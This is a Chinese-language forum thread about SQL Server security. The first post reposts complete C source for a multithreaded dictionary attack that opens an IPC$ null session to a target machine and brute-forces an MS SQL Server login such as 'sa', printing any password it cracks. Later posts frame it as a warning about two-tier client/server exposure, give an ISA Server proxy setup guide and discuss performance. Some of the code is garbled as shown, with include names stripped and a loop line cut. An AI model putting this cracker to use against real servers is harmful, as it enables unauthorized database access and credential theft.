VFP 愛用者社區

我想问 · 註冊時間: 2005-11-05 文章: 4 第 1 樓

遠端檢測MSSQLServer帳號安全性

加入時間：07月11日 23:14 來源：局域網DIY_PC資源頻道

ODBC是開放資料互連(Open Database Connectivity)的簡稱，它是一個用於遠端存取資料庫（主要是關係型數據庫）的統一介面標準。　　ODBC下現實運用中是一個資料庫的訪問庫，它提供了一組ODBC API函數可以提供給編程者使用。對於程式師來說，ODBC API函數集實際上等於一個動態連接庫(DLL)集，可以在應用程式中直接使用它們。

一個應用程式直接調用ODBC API函數來進行資料庫的應用工作，工作過程一般比較複雜。其中一種辦法大概是以下幾步：
<1>啟動ODBC資料庫應用程式。
<2>與伺服器建立IPC SESSION。
<3>創建資料庫應用的環境控制碼。
<4>創建連接控制碼。
<5>連接資料源。
<6>創建語句控制碼。
<7>通過上一步創建的語句控制碼來執行SQL操作。
<8>釋放語句控制碼。
<9>要進行多此SQL操作的話，就迴圈步驟6-8。
<10>斷開與資料庫的連接。
<11>釋放連接控制碼。
<12>釋放環境控制碼。
<13>斷開IPC SESSION。
<14>程式結束。

下面以一個實例來說明遠端檢測MS SQL Server帳號密碼的全過程。此程式只作技術交流之用，如用於不法用途，作者不負任何責任！

/**********************************************************
Module Name:SQLCheck.c
Date:2000.12.14
WEB:www.patching.net
Notices:Copyright(c) eyas
**********************************************************/
#include
#include
#include
#include
#include
#include
#include
#include

////////////////////////////////////////////////////////////////////////
file://定義總體變數
char dict[20000][40],//密碼字典
UserName[40],//用戶名
target[40],//目標伺服器
passwd[40];//已經探測出來的正確密碼
int total=0;//字典裏面單詞數量
BOOL Cracked=FALSE;//探測密碼成功時此值為TRUE
HANDLE hSemaphore,//信標內核對象
hEvent;//事件內核對象
long MaxThreads,//最大線程數量
ActiveThreads;//活動線程數量
////////////////////////////////////////////////////////////////////////
void usage(char *pragname)
{
printf("\nPower by eyas"
"\nhttp://www.patching.net"
"\n2000/12/14"
"\n\nUsage:%s "
"\nExample:%s 192.168.0.1 sa c:\\pwd.dic 50\n",pragname,pragname);
return;
}

////////////////////////////////////////////////////////////////////////
int ReadDic(char *dic)
{
FILE *fp;
char tmp[40];

file://打開字典檔
if((fp=fopen(dic,"r"))==NULL)
{
printf("\nCan't open %s",dic);
return 1;
}

while(!feof(fp))
{
file://讀取資料到臨時變數
if(fgets(tmp,40,fp)==NULL)
break;
file://把從檔裏面讀出來的最後一位元資料[換行符號]去掉
strncpy(dict[total],tmp,strlen(tmp)-1);
total++;
if(total>=19999)
break;
}
fclose(fp);
return 0;
}
////////////////////////////////////////////////////////////////////////
int ConnIPC(char *RemoteName)
{
NETRESOURCE nr;
DWORD flags=CONNECT_UPDATE_PROFILE;
TCHAR RN[30]="\\\\",
LN[5]="";

strcat(RN,RemoteName);
strcat(RN,"\\ipc$");

nr.dwType=RESOURCETYPE_DISK;
nr.lpLocalName=(LPTSTR)&LN;
nr.lpRemoteName=(LPTSTR)&RN;
nr.lpProvider=NULL;

if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
int DelIPC(char *RemoteName)
{
DWORD ret;
TCHAR lpName[30]="\\\\";

strcat(lpName,RemoteName);
strcat(lpName,"\\ipc$");

ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
if(ret==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
DWORD WINAPI SQLCheck(PVOID pPwd)
{
file://定義局部變數
char szBuffer[1025];
char *pwd;
SWORD swStrLen;
SQLHDBC hdbc;
SQLHANDLE henv;
SQLRETURN retcode;//ODBC API運行返回值
SCHAR ConnStr[200];//連接資料庫字串
long PreviousCount;

file://取得傳遞過來準備探測的密碼
pwd=(char *)pPwd;
file://構造連接資料庫字元
sprintf(ConnStr,"DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;DATABASE=master",
target,UserName,pwd);
file://puts(ConnStr);
__try{
file://創建資料庫應用的環境控制碼
if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)
{
printf("\nAllocate environment handle failed.\n");
ExitProcess(1);
}
file://設置ODBC版本環境
if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
{
printf("\nSet the ODBC version environment attribute failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
ExitProcess(1);
}
file://創建連接控制碼
if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS)
{
printf("\nAllocate connection handle failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
ExitProcess(1);
}
file://連接資料源
retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
szBuffer,sizeof(szBuffer),&swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);
if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)
{
file://連接失敗，函數終止
file://printf("\nCouldn't connect to %s MSSQL server.\n",target);
}
else
{
file://連接遠端MSSQL Server資料庫成功
Cracked=TRUE;
strncpy(passwd,pwd,sizeof(passwd));
file://斷開連接
SQLDisconnect(hdbc);
}
}//end of tyr
__finally{
file://釋放連接控制碼
SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
file://釋放環境控制碼
SQLFreeHandle(SQL_HANDLE_ENV, henv);
file://對信標當前資源數量進行遞增1，並取得當前資源數量的原始值
ReleaseSemaphore(hSemaphore,1,&PreviousCount);
file://計算當前活動線程數量
ActiveThreads=MaxThreads-PreviousCount-1;
file://printf("\nActiveThreads-->%d.",ActiveThreads);
file://如果活動線程數量為0,那麼將事件內核對象hEvent改為已通知狀態，程式結束
if(ActiveThreads==0)
{
SetEvent(hEvent);
}
}//end of finally
return 0;
}

////////////////////////////////////////////////////////////////////////
int main(int argc,char **argv)
{
HANDLE hThread;//線程控制碼
DWORD dwThreadId,dwRet;
int i=0,err=0;
clock_t start,end;//程式運行的起始和結束時間
double duration;

if(argc!=5)
{
usage(argv[0]);
return 1;
}
file://取得目標位址，用戶名
strncpy(target,argv[1],sizeof(target));
strncpy(UserName,argv[2],sizeof(UserName));
file://取得並檢查用戶輸入的最大線程數量
MaxThreads=atol(argv[4]);
if((MaxThreads>100) || (MaxThreads<1))
{
usage(argv[0]);
return 1;
}
file://讀取字典中的單詞到記憶體中
if(ReadDic(argv[3])!=0)
return 1;
file://與目的機器建立IPC Session
if(ConnIPC(argv[1])!=0)
{
printf("\nCan't built IPC NULL Session!");
return 1;
}
else
{
printf("\nBuilt IPC NULL Session success!\n");
}
file://創建信標內核對象,最大資源數量和可以使用的資源數量均為MaxThreads
hSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL);
if(hSemaphore==NULL)
{
printf("\nCreateSemaphore() failed.ErrorCode:%d.",GetLastError());
return 1;
}
file://創建事件內核對象[人工重置，初始狀態為未通知]
hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);
if(hEvent==NULL)
{
printf("\nCreateEvent() failed.ErrorCode:%d.",GetLastError());
CloseHandle(hSemaphore);
return 1;
}
file://開始計時
start=clock();
file://開始建立線程探測密碼
for(i=0;i {
file://探測密碼成功後跳出此迴圈
if(Cracked==TRUE)
break;
file://顯示進度資訊
printf("\n[%d/%d] %s -> %s -> %s",i+1,total,target,UserName,dict);
file://創建線程
hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict,0,&dwThreadId);
file://處理創建線程錯誤的情況
if(hThread==NULL)
{
err++;
MessageBox(NULL,"thread error","error",MB_OK);
if(err>=50)
break;
}
CloseHandle(hThread);
Sleep(10);
file://等待信標內核對象通知，可用資源數量大於0則繼續創建線程，等於0則線程進入等待狀態
WaitForSingleObject(hSemaphore,INFINITE);
}
file://等待事件內核對象通知,最多等待3分鐘
dwRet=WaitForSingleObject(hEvent,180000);
switch(dwRet)
{
case WAIT_OBJECT_0:
printf("\nAll thread done.");
break;
case WAIT_TIMEOUT:
printf("\nWait time out.Exit.");
break;
case WAIT_FAILED:
printf("\nWaitForSingleObject() failed.");
break;
}
file://斷開與目的機器的IPC Session
DelIPC(target);
file://探測密碼成功後回顯資訊
if(Cracked==TRUE)
printf("\n\nSuccess!%s SQL Server User [%s] passwd is [%s].",target,UserName,passwd);
file://記時結束
end=clock();
file://轉換時間格式
duration = (double)(end - start) / CLOCKS_PER_SEC;
file://顯示所用時間
printf("\n\nComplete.Use %2.1f seconds.\n",duration);
return 0;
}
////////////////////////////////////////////////////////////////////////
程式在windows2000,vc++6.0環境下編譯通過。

bin1x · 註冊時間: 2004-08-27 文章: 462 第 2 樓

含入什麼檔頭檔也沒寫
怎麼玩!

我想问 · 註冊時間: 2005-11-05 文章: 4 第 3 樓

這不是 “怎麼玩”的問題，關鍵是我們建立的純C/S架構會這樣被攻擊，甚至被毀掉

我想问 · 註冊時間: 2005-11-05 文章: 4 第 4 樓

前言
C/S程式開發方式，開發工具眾多，開發效率高，缺點是一般是兩層體系，在廣域網上應用的時候安全性很難保證。
B/S程式開發方式，一般應用廣域網，安全性較高，但是由於針對流覽器方式的開發，對於簡單應用，開發效率還可以，對於複雜的應用以及操作，需要編寫中間層元件，開發效率較差。
如何能夠在廣域網的應用體系中採用傳統的局域網C/S開發方式，提高開發效率，改善介面友好性以及良好的可操作性，這就是本篇文章所要解決的問題。使用ISA作為SQL SERVER的代理伺服器與防火牆，所有外部資料庫訪問通過ISA進行代理，外部訪問連接並不直接連接到資料庫伺服器，而是連接到ISA伺服器上，ISA伺服器將外部請求重新定向到SQL伺服器上，隱藏了SQL伺服器，保護資料的安全性。外部請求不需要知道SQL伺服器名以及位址，只要將ISA伺服器當作SQL伺服器進行請求，對於外部資料請求，由ISA伺服器來進行判斷是否連接以及如何處理，對於合法的連接，他是透明的，好像是與資料庫伺服器直接連接一樣。
ISA、SQL Server簡介
Microsoft Internet Security & Acceleration Server 2000
---- Microsoft公司Microsoft Internet Security & Acceleration Server提供強大的安全和網路加速功能。它具有基於策略的安全、速度和網路管理的特徵, 與Windows 2000作業系統無縫集成，是一個具有高度可伸縮性的企業Internet防火牆和高速Web緩衝記憶體。
---- Microsoft的ISA Server提供保密、高速、易處理Internet的連接。通過使企業Internet 防火牆和高性能的高速緩衝記憶體功能結合，可以將Windows 2000 的安全、目錄、有效的個人專用網路和利用服務的品質以及簡化處理任務的帶寬控制緊密地結合起來。
Microsoft SQL Server 2000
---- SQL Server 2000是為創建可伸縮電子商務、線上商務和資料倉儲解決方案而設計的真正意義上的關係型數據庫管理與分析系統。
---- Microsoft SQL Server 2000針對包括集成資料挖掘、OLAP服務、安全性服務及通過Internet對多維資料集進行訪問和鏈結等在內的分析服務提供了新的資料倉儲功能。
---- 除了提供電子商務所需的可伸縮性與可擴展性之外，SQL Server 2000還提供了豐富的基於Web標準資料庫編程功能，以確保系統的協同工作和靈活性。與此相關，SQL Server 2000還包括豐富的XML、W3C標準支援。具有通過Transact SQL實現的XML資料操作能力、靈活而強大的Web分析功能以及使用HTTP進行的安全Web資料訪問功能。
ISA、SQL Server的安裝
Microsoft Internet Security & Acceleration Server 2000
1. 安裝時，請注意確保電腦滿足 Microsoft Internet Security & Acceleration Server 2000 的系統要求。有關更多資訊，請參見 Microsoft Internet Security & Acceleration Server 2000 的硬體和軟體安裝要求。
2. 安裝網卡、數據機（或是ISDN等）連接內部局域網和外部互聯網。
3. 設置TCP/IP，設置內部外部IP位址。詳情參見技術手冊。
4. 運行安裝盤上的ISA Server Enterprise Initialization，對參數進行設置。
l Array policy only. Select Use array policy only if each array should have its own policy, which can be administered by the array administrator.
l Enterprise policy only. Select Use this enterprise policy and type the name of the enterprise policy. In this case, the same enterprise policy will be applied to all the arrays in the enterprise. Unique access policies cannot be defined for each array in the enterprise. No rules can be defined at the array level.
l Combined enterprise and array policy. Select Use this enterprise policy and Allow array-level access rules to restrict enterprise policy. In this case, array administrators can define rules that further restrict the enterprise policy. For example, if the enterprise policy allows access to all sites, array administrators could refine that policy, by creating rules denying access to specific sites.
l If array administrators are allowed to publish internal servers, making those servers accessible to external (Internet) clients, then select Allow publishing rules to be created on the array.
l Select Use packet filtering on the array if packet filtering should always be enabled for the arrays in the enterprise. If you select this option, then the array administrator will not be able to disable packet filtering.
When ISA Server Enterprise Initialization is finished, the ISA Server schema is installed to Active Directory. You can now install ISA Server as an array member, creating the array that the ISA Server should join.
Note
The array creation process takes place when you install ISA Server on the first computer in the array. The information that is added to the Active Directory may take some time to replicate to all domain controllers. Therefore, if you receive an error message during installation that the ISA Server schema has not been installed, even though you have installed it, you must wait until the schema change has been replicated to the local domain controller.
Important
You must install the Windows 2000 Service Pack 1 or later before you install ISA Server.
If the computer on which you are installing ISA Server is not part of a Windows 2000 domain, then ISA Server will be installed as a stand-alone server. You can subsequently add the server to a Windows 2000 domain, and then join it to an array.
The first server in the new array defines a new array in Active Directory. You should allow sufficient time for the array information to replicate throughout the site before you add more members to the array.
When you install an ISA Server computer as a member of an existing array, you must install it in the same mode as the other array members. For example, if all the servers in the array were installed in firewall mode, then the new ISA Server computer must also be installed in firewall mode. The new ISA Server computer adopts the array's enterprise settings, access policy, publishing policy, and monitoring configuration.
You can select the disk drives that are available for caching during ISA Server installation. By default, the setup process searches for the largest NTFS partition and sets a default cache size of 100 megabytes (MB) if there are at least 150 MB available. When configuring the cache drives, you must, at a minimum, allocate at least one NTFS drive, setting aside at least 5 MB on that drive for caching. However, it is recommended that you allocate at least 100 MB and add 0.5 MB for each client that uses the HTTP or FTP protocols, rounded up to the nearest full megabyte.
The local address table (LAT) is a table of all IP address ranges used by the internal network behind the ISA Server computer. ISA Server uses the LAT to control how machines on the internal network communicate with external networks and decides which network adapters should be protected by loading the packet filter driver.
ISA Server can construct the LAT for you by basing it on your Windows 2000 routing table. You can also select the private IP address ranges, as defined by the Internet Assigned Numbers Authority (IANA) in RFC 1918. These three blocks of addresses are reserved for private intranets and are never used on the public Internet.
When creating a LAT, you should only include addresses on the private network. This means that you should not add the external interface of the ISA Server computer, any Internet sites, or any other external addresses including the DNS server at your Internet service provider, and so forth. An incorrect configuration of the LAT could make your network vulnerable to attacks.
The LAT is managed centrally, because it is maintained on the ISA Server computer. Firewall clients automatically download and receive LAT updates at preset, regular intervals.
Microsoft SQL Server 2000 （詳細情況參見白皮書）
1. 安裝時，請注意確保電腦滿足 Microsoft SQL Server 2000 的系統要求。有關更多資訊，請參見 SQL Server 2000 的硬體和軟體安裝要求。
2. 在運行 Microsoft Windows NT 或 Micorsoft Windows 2000 的電腦上安裝 SQL Server 2000，並且希望 SQL Server 2000 與其他用戶端和伺服器通訊，則創建一個或多個域用戶帳戶。有關更多資訊，請參見創建安全帳戶
3. 用具有本地管理許可權的用戶帳戶登錄到作業系統，或者給域用戶帳戶指派適當的許可權。
4. 關閉所有和 SQL Server 相關的服務。包括所有使用 ODBC 的服務，如 Microsoft Internet Information 服務 (IIS)。
5. 關閉 Microsoft Windows NT 事件查看器和註冊表查看器（Regedit.exe 或 Regedt32.exe）。
ISA、SQL SERVER的配置
1. 配置SQL Server TCP/IP網路協定
使用SQL Server Network Utility工具進行配置，啟用TCP/IP協定，添加WinSocket代理，設置代理伺服器的IP位址為ISA伺服器的外部IP位址。設置SQL Server使用的埠。
注意：如果設置的IP位址是ISA伺服器的內部IP位址，那麼將不起作用！！
2. 在SQL Server伺服器上創建Wspcfg.ini文件
檔內容：
［sqlservr]
ServerBindTCPPorts=1433
Persistent=1
KillOldSession=1
將檔保存在與Sqlservr.exe相同的路徑下。如果在第一步設置的埠不是1433，將ServerBindTCPPorts=1433修改成為第一步所設置的埠。
3. SQL Server伺服器端安裝Fiewwall用戶端
連接ISA伺服器，查找MSPCLNT共用目錄，安裝Fiewwall用戶端，這個共用目錄是安裝完ISA之後自動共用的。
4. 重新啟動SQL Server伺服器
5. 設置ISA的Network的LAT
添加SQL Server與ISA伺服器的內部IP位址到LAT中。
6. 設置Publishing屬性的Server Publishing Rules
使用Publish a Server，設置一個發佈名稱，填寫Internal Server的IP為SQL Server伺服器的內部IP位址，填寫ISA Server的IP位址為ISA伺服器的外部IP位址，設置Mapped Server Protocol為Microsoft SQL Server。設置訪問規則。
7. 在需要訪問的外部用戶端進行測試
1. 配置用戶端的hosts檔，填寫ISA伺服器的外部IP位址與機器名。
2. 使用Ping.exe進行測試，看是否能夠連通(Ping xxxServer).
3. 使用SQL Server用戶端或是其他工具進行連接測試，使用的伺服器名稱為ISA伺服器的名稱。

bin1x · 註冊時間: 2004-08-27 文章: 462 第 5 樓

不只是安全性的問題吧
個人也曾經將sql server 以真實ip 放到網路裏存取
只是從台中到苗栗,是可以存取
速度很慢,
所以要存取資料庫,還是說跟寫法有關
當資料庫變得很大時,龜速就出現了
以remote access 當成terminal 來存取似乎成了解決的方法
但
誰能告訴我
這和unix 有什麼不同,其實unix 應該也可以將驗證主機和資料庫主機分開吧
還有ibm as400的哩,都像一個築起高牆的壁壘,以預防微軟如同散兵游勇般的攻擊
(我是指新舊系統轉的攻防戰)